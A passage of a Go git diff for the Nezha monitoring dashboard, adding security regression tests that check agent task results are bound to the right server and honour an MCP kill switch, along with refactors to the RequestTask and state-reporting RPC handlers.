t.Cleanup(func() { mcpInflight.Delete(taskID) }) + + DeliverMCPResultFromReporterForTest(&pb.TaskResult{Id: taskID, Data: "x", Successful: true}, 0) + + select { + case <-resultCh: + t.Fatalf("reporterID==0 must be rejected by the reporter-checked helper; expected no delivery") + default: + } +} + +// 同时把"测试 helper 自身的文档约束"钉到代码里：注释必须明确说出 +// "reporterID == 0 视为未知 reporter 并被拒绝"，否则未来维护者很容易看着 +// "不校验"的旧措辞写出绕过 reporter 的安全敏感测试。 +func TestDeliverMCPResultFromReporterForTest_DocStatesZeroIsRejected(t *testing.T) { + src := mustReadFile(t, "mcp_rpc.go") + if !strings.Contains(src, "DeliverMCPResultFromReporterForTest") { + t.Fatalf("expected helper to live in mcp_rpc.go") + } + // 提取 helper 上方的注释块：从 helper 名字往上找到第一段连续的 // 行。 + idx := strings.Index(src, "func DeliverMCPResultFromReporterForTest(") + if idx < 0 { + t.Fatalf("helper not found in source") + } + prefix := src[:idx] + if !strings.Contains(prefix, "reporterID == 0") { + t.Fatalf("doc must mention reporterID == 0 contract explicitly") + } + if strings.Contains(prefix, "不校验") { + t.Fatalf("doc still claims reporterID==0 is 不校验; this contradicts deliverMCPResultFromReporter which drops it") + } +} diff --git a/service/rpc/mcp_rpc_kill_switch_race_test.go b/service/rpc/mcp_rpc_kill_switch_race_test.go new file mode 100644 index 00000000..dfc75bf7 --- /dev/null +++ b/service/rpc/mcp_rpc_kill_switch_race_test.go @@ -0,0 +1,156 @@ +package rpc + +import ( + "context" + "errors" + "sync/atomic" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" +) + +// Kill switch must beat a late agent reply. Without the cancelled-flag +// re-check in CallAgent, the following sequence surfaces success after +// EnableMCP=false: +// +// t0 agent puts TaskResult into resultCh (capacity 1, non-blocking) +// t1 admin flips EnableMCP=false → CancelAllMCPInflight closes cancelCh +// t2 CallAgent's select sees BOTH cases ready; Go picks one at random; +// if it picks resultCh, the call returns the agent's payload even +// though the operator's kill switch fired. +// +// The fix is to mark the entry cancelled BEFORE closing cancelCh and have +// the resultCh branch re-check that flag. This test pins the contract by +// driving the worst-case ordering: result is delivered FIRST, then the +// kill switch fires, then CallAgent observes both. With the race in place +// this would flake (random select); with the fix it always returns +// ErrMCPDisabled. +func TestCallAgent_KillSwitchBeatsConcurrentLateResult(t *testing.T) { + const target uint64 = 7301 + + stream := newFakeStream() + cleanup := installFakeServer(t, target, stream) + defer cleanup() + + resultSelected := make(chan struct{}) + resumeResult := make(chan struct{}) + var resultHook atomic.Pointer[func()] + hook := func() { + close(resultSelected) + <-resumeResult + } + resultHook.Store(&hook) + testMCPResultBeforeCancellationCheck.Store(resultHook.Load()) + t.Cleanup(func() { testMCPResultBeforeCancellationCheck.Store(nil) }) + + delivered := make(chan struct{}) + go func() { + sent := <-stream.sent + deliverMCPResultFromReporter(&pb.TaskResult{ + Id: sent.GetId(), + Type: model.TaskTypeExec, + Successful: true, + Data: `{"exit_code":0,"stdout":"should-not-surface"}`, + }, target) + close(delivered) + }() + + errCh := make(chan error, 1) + go func() { + _, err := CallAgent(context.Background(), target, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 2*time.Second) + errCh <- err + }() + <-resultSelected + CancelAllMCPInflight() + close(resumeResult) + <-delivered + err := <-errCh + if !errors.Is(err, ErrMCPDisabled) { + t.Fatalf("kill switch must win the race with a late agent reply; want ErrMCPDisabled, got %v", err) + } +} + +func TestCallAgent_ResultBeforeKillSwitchReturnsSuccess(t *testing.T) { + const target uint64 = 7303 + + stream := newFakeStream() + cleanup := installFakeServer(t, target, stream) + defer cleanup() + + resultClaimed := make(chan struct{}) + resumeResult := make(chan struct{}) + var resultHook atomic.Pointer[func()] + hook := func() { + close(resultClaimed) + <-resumeResult + } + resultHook.Store(&hook) + testMCPResultAfterCancellationCheck.Store(resultHook.Load()) + t.Cleanup(func() { testMCPResultAfterCancellationCheck.Store(nil) }) + + go func() { + sent := <-stream.sent + deliverMCPResultFromReporter(&pb.TaskResult{ + Id: sent.GetId(), + Type: model.TaskTypeExec, + Successful: true, + Data: `{"exit_code":0}`, + }, target) + }() + + errCh := make(chan error, 1) + go func() { + _, err := CallAgent(context.Background(), target, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 2*time.Second) + errCh <- err + }() + <-resultClaimed + CancelAllMCPInflight() + close(resumeResult) + if err := <-errCh; err != nil { + t.Fatalf("result claimed before kill switch must succeed, got %v", err) + } +} + +// CancelAllMCPInflight must eagerly evict entries so a stale TaskResult +// that arrives after the kill switch cannot still land in resultCh. +// Without the cancelled flag this entry would still be reachable through +// deliverMCPResultFromReporter; the flag guarantees the late delivery is +// silently dropped even if the caller has not returned yet. +func TestCancelAllMCPInflight_LaterResultIsSwallowed(t *testing.T) { + const target uint64 = 7302 + + stream := newFakeStream() + cleanup := installFakeServer(t, target, stream) + defer cleanup() + + taskIDCh := make(chan uint64, 1) + go func() { + sent := <-stream.sent + taskIDCh <- sent.GetId() + }() + + resultCh := make(chan error, 1) + go func() { + _, err := CallAgent(context.Background(), target, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 5*time.Second) + resultCh <- err + }() + + taskID := <-taskIDCh + CancelAllMCPInflight() + + if err := <-resultCh; !errors.Is(err, ErrMCPDisabled) { + t.Fatalf("CallAgent must return ErrMCPDisabled after kill switch; got %v", err) + } + + deliverMCPResultFromReporter(&pb.TaskResult{ + Id: taskID, + Type: model.TaskTypeExec, + Successful: true, + Data: `{"exit_code":0}`, + }, target) +} diff --git a/service/rpc/mcp_rpc_spoof_test.go b/service/rpc/mcp_rpc_spoof_test.go new file mode 100644 index 00000000..d9bba569 --- /dev/null +++ b/service/rpc/mcp_rpc_spoof_test.go @@ -0,0 +1,149 @@ +package rpc + +import ( + "context" + "encoding/json" + "errors" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" +) + +// These tests pin the security invariant that an MCP TaskResult delivered +// back through RequestTask must come from the SAME agent the CallAgent was +// targeted at. The receive loop in service/rpc/nezha.go has the authenticated +// clientID in scope; deliverMCPResult must consume it and reject mismatches. +// +// Why the invariant matters: mcpInflight is keyed by a globally increasing +// counter (allocateMCPTaskID) and the lookup table is shared across servers. +// Without binding the inflight entry to the target serverID and verifying it +// against the reporter clientID, any compromised agent A can race a forged +// TaskResult for server B's CallAgent (resultCh capacity is 1; first reply +// wins, real reply is dropped). The same class of attack motivated the cron +// path's CanReportCronResult and the transfer path's pending.ID == result.Id +// check in this very file's RequestTask switch. + +// TestDeliverMCPResult_RejectsForeignReporter is the security regression: a +// reporter that is NOT the call target must not be able to deliver into +// another server's inflight slot, even with a correctly-guessed taskID. +func TestDeliverMCPResult_RejectsForeignReporter(t *testing.T) { + const ( + targetServerID uint64 = 6101 + foreignAgentID uint64 = 6102 + ) + + stream := newFakeStream() + cleanup := installFakeServer(t, targetServerID, stream) + defer cleanup() + + captured := make(chan uint64, 1) + go func() { + sent := <-stream.sent + // Foreign agent racing a forged TaskResult with the right taskID. + DeliverMCPResultFromReporterForTest(&pb.TaskResult{ + Id: sent.GetId(), + Type: model.TaskTypeExec, + Successful: true, + Data: `{"exit_code":0,"stdout":"forged"}`, + }, foreignAgentID) + captured <- sent.GetId() + }() + + _, err := CallAgent(context.Background(), targetServerID, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 200*time.Millisecond) + if !errors.Is(err, ErrAgentTimeout) { + t.Fatalf("forged result from foreign reporter must NOT deliver; want ErrAgentTimeout, got %v", err) + } + select { + case <-captured: + case <-time.After(time.Second): + t.Fatalf("test stream never observed the dispatched task") + } +} + +// TestDeliverMCPResult_AcceptsMatchingReporter is the green companion: when +// the reporter clientID matches the inflight target, the result must still +// route correctly (we are not breaking the happy path). +func TestDeliverMCPResult_AcceptsMatchingReporter(t *testing.T) { + const targetServerID uint64 = 6103 + + stream := newFakeStream() + cleanup := installFakeServer(t, targetServerID, stream) + defer cleanup() + + want := model.ExecResult{ExitCode: 0, Stdout: "ok"} + payload, _ := json.Marshal(want) + + go func() { + sent := <-stream.sent + DeliverMCPResultFromReporterForTest(&pb.TaskResult{ + Id: sent.GetId(), + Type: model.TaskTypeExec, + Successful: true, + Data: string(payload), + }, targetServerID) + }() + + raw, err := CallAgent(context.Background(), targetServerID, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 2*time.Second) + if err != nil { + t.Fatalf("matching reporter must deliver, got %v", err) + } + var got model.ExecResult + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatalf("bad result json: %v", err) + } + if got.Stdout != "ok" { + t.Fatalf("payload not propagated, got %+v", got) + } +} + +// TestDeliverMCPResult_InflightEntryBoundToServerID locks in the structural +// requirement that the inflight table records the target serverID. Without +// this binding deliverMCPResult cannot perform the reporter check above. +// Probing via reflection avoids exporting mcpInflight just for tests. +func TestDeliverMCPResult_InflightEntryBoundToServerID(t *testing.T) { + const targetServerID uint64 = 6104 + + stream := newFakeStream() + cleanup := installFakeServer(t, targetServerID, stream) + defer cleanup() + + gotEntry := make(chan struct { + taskID uint64 + serverID uint64 + found bool + }, 1) + go func() { + sent := <-stream.sent + taskID := sent.GetId() + serverID, ok := inflightServerIDForTest(taskID) + gotEntry <- struct { + taskID uint64 + serverID uint64 + found bool + }{taskID, serverID, ok} + // Unblock CallAgent so the inflight slot is cleaned up. + DeliverMCPResultFromReporterForTest(&pb.TaskResult{ + Id: taskID, + Type: model.TaskTypeExec, + Successful: true, + Data: "{}", + }, targetServerID) + }() + + _, err := CallAgent(context.Background(), targetServerID, model.TaskTypeExec, + model.ExecRequest{Cmd: "x"}, 2*time.Second) + if err != nil { + t.Fatalf("unexpected CallAgent error: %v", err) + } + probe := <-gotEntry + if !probe.found { + t.Fatalf("inflight entry for taskID=%d not found while CallAgent was blocking", probe.taskID) + } + if probe.serverID != targetServerID { + t.Fatalf("inflight entry must carry target serverID=%d, got %d", targetServerID, probe.serverID) + } +} diff --git a/service/rpc/mcp_rpc_test.go b/service/rpc/mcp_rpc_test.go new file mode 100644 index 00000000..108af381 --- /dev/null +++ b/service/rpc/mcp_rpc_test.go @@ -0,0 +1,172 @@ +package rpc + +import ( + "context" + "encoding/json" + "errors" + "sync/atomic" + "testing" + "time" + + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +type fakeTaskStream struct { + sent chan *pb.Task + delay time.Duration + err error +} + +func newFakeStream() *fakeTaskStream { + return &fakeTaskStream{sent: make(chan *pb.Task, 4)} +} + +func (s *fakeTaskStream) Send(t *pb.Task) error { + if s.err != nil { + return s.err + } + s.sent <- t + return nil +} +func (s *fakeTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (s *fakeTaskStream) SetHeader(metadata.MD) error { return nil } +func (s *fakeTaskStream) SendHeader(metadata.MD) error { return nil } +func (s *fakeTaskStream) SetTrailer(metadata.MD) {} +func (s *fakeTaskStream) Context() context.Context { return context.Background() } +func (s *fakeTaskStream) SendMsg(any) error { return nil } +func (s *fakeTaskStream) RecvMsg(any) error { return context.Canceled } + +func installFakeServer(t *testing.T, id uint64, stream pb.NezhaService_RequestTaskServer) func() { + t.Helper() + original := singleton.ServerShared + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = id + srv.SetTaskStream(stream) + sc.InsertForTest(srv) + singleton.ServerShared = sc + return func() { singleton.ServerShared = original } +} + +func TestCallAgent_RejectsNonMCPType(t *testing.T) { + _, err := CallAgent(context.Background(), 1, model.TaskTypeCommand, struct{}{}, time.Second) + if err == nil { + t.Fatalf("expected error for non-MCP type") + } +} + +func TestCallAgent_OfflineWhenNoStream(t *testing.T) { + original := singleton.ServerShared + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = 7 + sc.InsertForTest(srv) + singleton.ServerShared = sc + t.Cleanup(func() { singleton.ServerShared = original }) + + _, err := CallAgent(context.Background(), 7, model.TaskTypeExec, struct{}{}, time.Second) + if !errors.Is(err, ErrAgentOffline) { + t.Fatalf("expected ErrAgentOffline, got %v", err) + } +} + +func TestCallAgent_HappyPath_DelivlersResultByTaskID(t *testing.T) { + stream := newFakeStream() + cleanup := installFakeServer(t, 42, stream) + defer cleanup() + + resultPayload, _ := json.Marshal(model.ExecResult{ExitCode: 0, Stdout: "hello"}) + + var captured atomic.Uint64 + done := make(chan struct{}) + go func() { + sent := <-stream.sent + captured.Store(sent.GetId()) + deliverMCPResult(&pb.TaskResult{ + Id: sent.GetId(), + Type: model.TaskTypeExec, + Data: string(resultPayload), + Successful: true, + }) + close(done) + }() + + raw, err := CallAgent(context.Background(), 42, model.TaskTypeExec, model.ExecRequest{Cmd: "x"}, 5*time.Second) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + <-done + if captured.Load() == 0 { + t.Fatalf("task id never captured") + } + var got model.ExecResult + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatalf("bad result json: %v", err) + } + if got.Stdout != "hello" { + t.Fatalf("payload not propagated, got %+v", got) + } +} + +func TestCallAgent_Timeout(t *testing.T) { + stream := newFakeStream() + cleanup := installFakeServer(t, 43, stream) + defer cleanup() + + go func() { <-stream.sent }() + + _, err := CallAgent(context.Background(), 43, model.TaskTypeFsRead, model.FsReadRequest{Path: "/x"}, 50*time.Millisecond) + if !errors.Is(err, ErrAgentTimeout) { + t.Fatalf("expected ErrAgentTimeout, got %v", err) + } +} + +func TestCallAgent_LateResultIsDropped(t *testing.T) { + stream := newFakeStream() + cleanup := installFakeServer(t, 44, stream) + defer cleanup() + + var taskID uint64 + got := make(chan struct{}) + go func() { + sent := <-stream.sent + taskID = sent.GetId() + close(got) + }() + + _, err := CallAgent(context.Background(), 44, model.TaskTypeFsDelete, model.FsDeleteRequest{Path: "/x"}, 50*time.Millisecond) + if !errors.Is(err, ErrAgentTimeout) { + t.Fatalf("expected timeout") + } + <-got + + deliverMCPResult(&pb.TaskResult{Id: taskID, Type: model.TaskTypeFsDelete, Successful: true, Data: "{}"}) + if _, ok := mcpInflight.Load(taskID); ok { + t.Fatalf("inflight entry must be cleaned up after timeout") + } +} + +func TestCallAgent_UnsuccessfulIsError(t *testing.T) { + stream := newFakeStream() + cleanup := installFakeServer(t, 45, stream) + defer cleanup() + + go func() { + sent := <-stream.sent + deliverMCPResult(&pb.TaskResult{ + Id: sent.GetId(), + Type: sent.GetType(), + Successful: false, + Data: "agent says nope", + }) + }() + + _, err := CallAgent(context.Background(), 45, model.TaskTypeFsWrite, model.FsWriteRequest{Path: "/x", Content: "y"}, time.Second) + if err == nil || err.Error() != "agent says nope" { + t.Fatalf("expected agent error message, got %v", err) + } +} diff --git a/service/rpc/nezha.go b/service/rpc/nezha.go index 6373e50b..e332aa74 100644 --- a/service/rpc/nezha.go +++ b/service/rpc/nezha.go @@ -5,13 +5,10 @@ import ( "errors" "fmt" "log" - "net" "sync" "time" "github.com/jinzhu/copier" - geoipx "github.com/nezhahq/nezha/pkg/geoip" - "github.com/nezhahq/nezha/pkg/grpcx" "github.com/nezhahq/nezha/pkg/tsdb" "github.com/nezhahq/nezha/model" @@ -23,29 +20,101 @@ var _ pb.NezhaServiceServer = (*NezhaHandler)(nil) var NezhaHandlerSingleton *NezhaHandler +// ErrRequestTaskStreamSuperseded is returned when a RequestTask result arrives +// after its stream is no longer the live stream for the authenticated server. +var ErrRequestTaskStreamSuperseded = errors.New("request task stream superseded") + type NezhaHandler struct { - Auth *authHandler - ioStreams map[string]*ioStreamContext - ioStreamMutex *sync.RWMutex + Auth *authHandler + ioStreams map[string]*ioStreamContext + ioStreamMutex *sync.RWMutex + ioStreamGeneration uint64 + ioStreamNotify chan struct{} + ioStreamWaitLockedHook func() + // Capability authorization and exact stream deletion share ioStreamMutex to avoid TOCTOU. + agentCompatCapabilities agentCompatCapabilityState +} + +type serverMetricsWriter func(*tsdb.ServerMetrics) error + +var writeServerMetrics serverMetricsWriter = writeServerMetricsToTSDB + +func writeServerMetricsToTSDB(metrics *tsdb.ServerMetrics) error { + if !singleton.TSDBEnabled() { + return nil + } + return singleton.TSDBShared.WriteServerMetrics(metrics) } func NewNezhaHandler() *NezhaHandler { - return &NezhaHandler{ - Auth: &authHandler{}, - ioStreamMutex: new(sync.RWMutex), - ioStreams: make(map[string]*ioStreamContext), + handler := &NezhaHandler{ + Auth: &authHandler{}, + ioStreamMutex: new(sync.RWMutex), + ioStreams: make(map[string]*ioStreamContext), + ioStreamNotify: make(chan struct{}), } + handler.initializeAgentCompatCapabilities() + return handler +} + +// attachRequestTaskStream resolves the server for clientID and publishes the +// task stream. It mirrors the !ok || server == nil guard the other RPC entry +// points use: the server can be deleted between CheckRequestTask and this +// lookup, in which case Get returns a nil *Server and SetTaskStream would +// panic. +func attachRequestTaskStream(clientID uint64, stream pb.NezhaService_RequestTaskServer) (*model.Server, bool) { + server, ok := singleton.ServerShared.Get(clientID) + if !ok || server == nil { + return nil, false + } + server.SetTaskStream(stream) + return server, true +} + +// clearRequestTaskStream detaches the dropped stream from whichever *Server is +// currently published for clientID. Edit and transfer rotation publish a new +// *Server that adopts the same stream holder, so cleanup must target the live +// map entry; the captured server is only the fallback for a removed entry. +func clearRequestTaskStream(clientID uint64, captured *model.Server, stream pb.NezhaService_RequestTaskServer) { + if current, ok := singleton.ServerShared.Get(clientID); ok && current != nil { + current.ClearTaskStreamIfCurrent(stream) + return + } + captured.ClearTaskStreamIfCurrent(stream) +} + +// currentRequestTaskServer authorizes a received result against the live +// ServerShared entry. Server pointer replacement is valid when it inherited +// the same task stream holder; only a missing entry or different stream makes +// a received result stale. +func currentRequestTaskServer(clientID uint64, stream pb.NezhaService_RequestTaskServer) (*model.Server, error) { + current, ok := singleton.ServerShared.Get(clientID) + if !ok || current == nil || current.GetTaskStream() != stream { + return nil, ErrRequestTaskStreamSuperseded + } + return current, nil } func (s *NezhaHandler) RequestTask(stream pb.NezhaService_RequestTaskServer) error { var clientID uint64 var err error - if clientID, err = s.Auth.Check(stream.Context()); err != nil { + if clientID, err = s.Auth.CheckRequestTask(stream.Context()); err != nil { return err } - server, _ := singleton.ServerShared.Get(clientID) - server.TaskStream = stream + server, ok := attachRequestTaskStream(clientID, stream) + if !ok { + return nil + } + defer clearRequestTaskStream(clientID, server, stream) + // If a transfer is mid-flight for this server, the agent has just brought + // up a fresh bidi stream — this is the moment to (re)deliver the + // ApplyConfig task carrying the new owner's AgentSecret. Pushes from + // dashboard mutation time are best-effort; this hook is the reliable + // re-delivery point that closes the offline-during-transfer gap. + if singleton.ServerTransferShared != nil { + singleton.ServerTransferShared.OnAgentReconnect(clientID) + } var result *pb.TaskResult for { result, err = stream.Recv() @@ -53,11 +122,16 @@ func (s *NezhaHandler) RequestTask(stream pb.NezhaService_RequestTaskServer) err log.Printf("NEZHA>> RequestTask error: %v, clientID: %d\n", err, clientID) return err } + server, err = currentRequestTaskServer(clientID, stream) + if err != nil { + return err + } switch result.GetType() { case model.TaskTypeCommand: // 处理上报的计划任务 cr, _ := singleton.CronShared.Get(result.GetId()) - if cr != nil { + // 任务结果 ID 来自 agent，必须确认该 cron 本应派发给当前 reporter。 + if singleton.CanReportCronResult(cr, server) { // 保存当前服务器状态信息 var curServer model.Server copier.Copy(&curServer, server) @@ -82,7 +156,32 @@ func (s *NezhaHandler) RequestTask(stream pb.NezhaService_RequestTaskServer) err } server.ConfigCache <- result.Data } + case model.TaskTypeServerTransferApply: + // Authorization: TaskResult.Id is attacker-controlled. Without + // the pending.ID == result.Id check below, agent A could cancel + // server B's in-flight transfer by spoofing B's transfer ID — + // same class of bug as commit 02129f1 in the cron path. + // Successful=true here is best-effort only; the authoritative + // verification is the agent's reconnect under the new secret. + if singleton.ServerTransferShared == nil { + continue + } + pending, ok := singleton.ServerTransferShared.LookupPending(clientID) + if !ok || pending.ID != result.GetId() { + log.Printf("NEZHA>> ServerTransferApply result ignored: clientID=%d reported transferID=%d but no matching pending transfer", clientID, result.GetId()) + continue + } + if result.GetSuccessful() { + continue + } + if _, err := singleton.ServerTransferShared.MarkFailed(result.GetId(), result.GetData()); err != nil { + log.Printf("NEZHA>> ServerTransfer MarkFailed(%d) failed: %v", result.GetId(), err) + } default: + if model.IsMCPRPCResult(result.GetType()) { + deliverMCPResultFromReporter(result, clientID) + continue + } if model.IsServiceSentinelNeeded(result.GetType()) { singleton.ServiceSentinelShared.Dispatch(singleton.ReportData{ Data: result, @@ -98,84 +197,91 @@ func (s *NezhaHandler) ReportSystemState(stream pb.NezhaService_ReportSystemStat if err != nil { return err } + server, ok := singleton.ServerShared.Get(clientID) + if !ok || server == nil { + return errors.New("server not found") + } + lease := server.AttachStateStream(stream) + defer lease.Clear() var state *pb.State + var stateCount uint64 for { state, err = stream.Recv() if err != nil { log.Printf("NEZHA>> ReportSystemState error: %v, clientID: %d\n", err, clientID) return err } + stateCount++ innerState := model.PB2State(state) - server, ok := singleton.ServerShared.Get(clientID) - if !ok || server == nil { - return errors.New("server not found") - } - - server.LastActive = time.Now() - server.State = &innerState - - if singleton.TSDBEnabled() { - maxTemp := 0.0 - for _, t := range innerState.Temperatures { - if t.Temperature > maxTemp { - maxTemp = t.Temperature + lastActive := time.Now() + accepted := lease.UpdateStateWithSideEffect(&innerState, lastActive, func() error { + { + maxTemp := 0.0 + for _, t := range innerState.Temperatures { + if t.Temperature > maxTemp { + maxTemp = t.Temperature + } + } + maxGPU := 0.0 + for _, g := range innerState.GPU { + if g > maxGPU { + maxGPU = g + } + } + if err := writeServerMetrics(&tsdb.ServerMetrics{ + ServerID: clientID, + Timestamp: lastActive, + CPU: innerState.CPU, + MemUsed: innerState.MemUsed, + SwapUsed: innerState.SwapUsed, + DiskUsed: innerState.DiskUsed, + NetInSpeed: innerState.NetInSpeed, + NetOutSpeed: innerState.NetOutSpeed, + NetInTransfer: innerState.NetInTransfer, + NetOutTransfer: innerState.NetOutTransfer, + Load1: innerState.Load1, + Load5: innerState.Load5, + Load15: innerState.Load15, + TCPConnCount: innerState.TcpConnCount, + UDPConnCount: innerState.UdpConnCount, + ProcessCount: innerState.ProcessCount, + Temperature: maxTemp, + Uptime: innerState.Uptime, + GPU: maxGPU, + }); err != nil { + log.Printf("NEZHA>> Failed to write server metrics to TSDB: %v", err) } } - maxGPU := 0.0 - for _, g := range innerState.GPU { - if g > maxGPU { - maxGPU = g - } - } - if err := singleton.TSDBShared.WriteServerMetrics(&tsdb.ServerMetrics{ - ServerID: clientID, - Timestamp: time.Now(), - CPU: innerState.CPU, - MemUsed: innerState.MemUsed, - SwapUsed: innerState.SwapUsed, - DiskUsed: innerState.DiskUsed, - NetInSpeed: innerState.NetInSpeed, - NetOutSpeed: innerState.NetOutSpeed, - NetInTransfer: innerState.NetInTransfer, - NetOutTransfer: innerState.NetOutTransfer, - Load1: innerState.Load1, - Load5: innerState.Load5, - Load15: innerState.Load15, - TCPConnCount: innerState.TcpConnCount, - UDPConnCount: innerState.UdpConnCount, - ProcessCount: innerState.ProcessCount, - Temperature: maxTemp, - Uptime: innerState.Uptime, - GPU: maxGPU, - }); err != nil { - log.Printf("NEZHA>> Failed to write server metrics to TSDB: %v", err) - } + return nil + }) + if !accepted { + return errors.New("state stream superseded") } - // 应对 dashboard / agent 重启的情况，如果从未记录过，先打点，等到小时时间点时入库 - if server.PrevTransferInSnapshot == 0 || server.PrevTransferOutSnapshot == 0 { - server.PrevTransferInSnapshot = state.NetInTransfer - server.PrevTransferOutSnapshot = state.NetOutTransfer + if err := notifyStateReceived(clientID, server.UUID, lease.Generation(), stateCount); err != nil { + return err + } + if err := notifyReceiptAccepted(clientID, server.UUID, lease.Generation(), stateCount); err != nil { + return err } - if err = stream.Send(&pb.Receipt{Proced: true}); err != nil { return err } } } -func (s *NezhaHandler) onReportSystemInfo(c context.Context, r *pb.Host) error { +func (s *NezhaHandler) onReportSystemInfo(c context.Context, r *pb.Host) (model.HostReportResult, error) { var clientID uint64 var err error if clientID, err = s.Auth.Check(c); err != nil { - return err + return model.HostReportResult{}, err } host := model.PB2Host(r) server, ok := singleton.ServerShared.Get(clientID) if !ok || server == nil { - return errors.New("server not found") + return model.HostReportResult{}, errors.New("server not found") } /** @@ -183,138 +289,23 @@ func (s *NezhaHandler) onReportSystemInfo(c context.Context, r *pb.Host) error { * 当 agent 重启时，bootTime 变大，agent 端会先上报 host 信息，然后上报 state 信息 * 这时可以借助上报顺序的空档，立即记录停机前的数据并重置 Prev* 数据，并由接下来的 state 方法重新赋值 */ - if !server.LastActive.IsZero() && host.BootTime > server.Host.BootTime { - singleton.RecordTransferHourlyUsage(server) - server.PrevTransferInSnapshot = 0 - server.PrevTransferOutSnapshot = 0 - } - - server.Host = &host - return nil + return server.RuntimeHandle().ApplyHostReport(&host, time.Now(), singleton.PersistTransfer) } func (s *NezhaHandler) ReportSystemInfo(c context.Context, r *pb.Host) (*pb.Receipt, error) { - if err := s.onReportSystemInfo(c, r); err != nil { + if _, err := s.onReportSystemInfo(c, r); err != nil { return nil, err } return &pb.Receipt{Proced: true}, nil } func (s *NezhaHandler) ReportSystemInfo2(c context.Context, r *pb.Host) (*pb.Uint64Receipt, error) { - if err := s.onReportSystemInfo(c, r); err != nil { + result, err := s.onReportSystemInfo(c, r) + if err != nil { + return nil, err + } + if err := notifyInfo2(result.ServerID, result.UUID); err != nil { return nil, err } return &pb.Uint64Receipt{Data: singleton.DashboardBootTime}, nil } - -func (s *NezhaHandler) IOStream(stream pb.NezhaService_IOStreamServer) error { - if _, err := s.Auth.Check(stream.Context()); err != nil { - return err - } - id, err := stream.Recv() - if err != nil { - return err - } - - // ff05ff05 是 Nezha 的魔数，用于标识流 ID - if id == nil || len(id.Data) < 4 || (id.Data[0] != 0xff && id.Data[1] != 0x05 && id.Data[2] != 0xff && id.Data[3] == 0x05) { - return fmt.Errorf("invalid stream id") - } - - go func() { - for { - if err := stream.Send(&pb.IOStreamData{Data: []byte{}}); err != nil { - log.Printf("NEZHA>> IOStream keepAlive error: %v\n", err) - return - } - time.Sleep(time.Second * 30) - } - }() - - streamId := string(id.Data[4:]) - - if _, err := s.GetStream(streamId); err != nil { - return err - } - iw := grpcx.NewIOStreamWrapper(stream) - if err := s.AgentConnected(streamId, iw); err != nil { - return err - } - iw.Wait() - return nil -} - -func (s *NezhaHandler) ReportGeoIP(c context.Context, r *pb.GeoIP) (*pb.GeoIP, error) { - var clientID uint64 - var err error - if clientID, err = s.Auth.Check(c); err != nil { - return nil, err - } - - geoip := model.PB2GeoIP(r) - use6 := r.GetUse6() - - if geoip.IP.IPv4Addr == "" && geoip.IP.IPv6Addr == "" { - ip, _ := c.Value(model.CtxKeyRealIP{}).(string) - if ip == "" { - ip, _ = c.Value(model.CtxKeyConnectingIP{}).(string) - } - geoip.IP.IPv4Addr = ip - } - - joinedIP := geoip.IP.Join() - - server, ok := singleton.ServerShared.Get(clientID) - if !ok || server == nil { - return nil, fmt.Errorf("server not found") - } - - // 检查并更新DDNS - if server.EnableDDNS && joinedIP != "" && - (server.GeoIP == nil || server.GeoIP.IP != geoip.IP) { - ipv4 := geoip.IP.IPv4Addr - ipv6 := geoip.IP.IPv6Addr - - if err := singleton.ServerShared.UpdateDDNS(server, &model.IP{IPv4Addr: ipv4, IPv6Addr: ipv6}); err != nil { - log.Printf("NEZHA>> Failed to update DDNS for server %d: %v", err, server.ID) - } - } - - // 发送IP变动通知 - if server.GeoIP != nil && singleton.Conf.EnableIPChangeNotification && - ((singleton.Conf.Cover == model.ConfigCoverAll && !singleton.Conf.IgnoredIPNotificationServerIDs[clientID]) || - (singleton.Conf.Cover == model.ConfigCoverIgnoreAll && singleton.Conf.IgnoredIPNotificationServerIDs[clientID])) && - server.GeoIP.IP.Join() != "" && - joinedIP != "" && - server.GeoIP.IP != geoip.IP { - - singleton.NotificationShared.SendNotification(singleton.Conf.IPChangeNotificationGroupID, - fmt.Sprintf( - "[%s] %s, %s => %s", - singleton.Localizer.T("IP Changed"), - server.Name, singleton.IPDesensitize(server.GeoIP.IP.Join()), - singleton.IPDesensitize(joinedIP), - ), - "") - } - - // 根据内置数据库查询 IP 地理位置 - var ip string - if geoip.IP.IPv6Addr != "" && (use6 || geoip.IP.IPv4Addr == "") { - ip = geoip.IP.IPv6Addr - } else { - ip = geoip.IP.IPv4Addr - } - - netIP := net.ParseIP(ip) - location, err := geoipx.Lookup(netIP) - if err != nil { - log.Printf("NEZHA>> geoip.Lookup: %v", err) - } - geoip.CountryCode = location - - // 将地区码写入到 Host - server.GeoIP = &geoip - - return &pb.GeoIP{Ip: nil, CountryCode: location, DashboardBootTime: singleton.DashboardBootTime}, nil -} diff --git a/service/rpc/receipt_gate_agentcompat.go b/service/rpc/receipt_gate_agentcompat.go new file mode 100644 index 00000000..0ba57a86 --- /dev/null +++ b/service/rpc/receipt_gate_agentcompat.go @@ -0,0 +1,251 @@ +//go:build agentcompat + +package rpc + +import ( + "bufio" + "context" + "errors" + "fmt" + "net" + "strings" + "sync" + "time" +) + +const receiptGateCommandTimeout = 30 * time.Second + +type receiptGate struct { + conn net.Conn + read *bufio.Reader + generation uint64 + stateMu sync.Mutex + ioMu sync.Mutex + closeOnce sync.Once + context context.Context + cancel context.CancelFunc + hold bool + acceptedCount uint64 +} + +var activeReceiptGate *receiptGate +var activeReceiptGateMu sync.RWMutex +var receiptGateListener net.Listener +var receiptGateGeneration uint64 +var receiptGateCancel context.CancelFunc +var receiptGateWaitGroup sync.WaitGroup + +func newReceiptGate(conn net.Conn, generation uint64) *receiptGate { + ctx, cancel := context.WithCancel(context.Background()) + return &receiptGate{conn: conn, read: 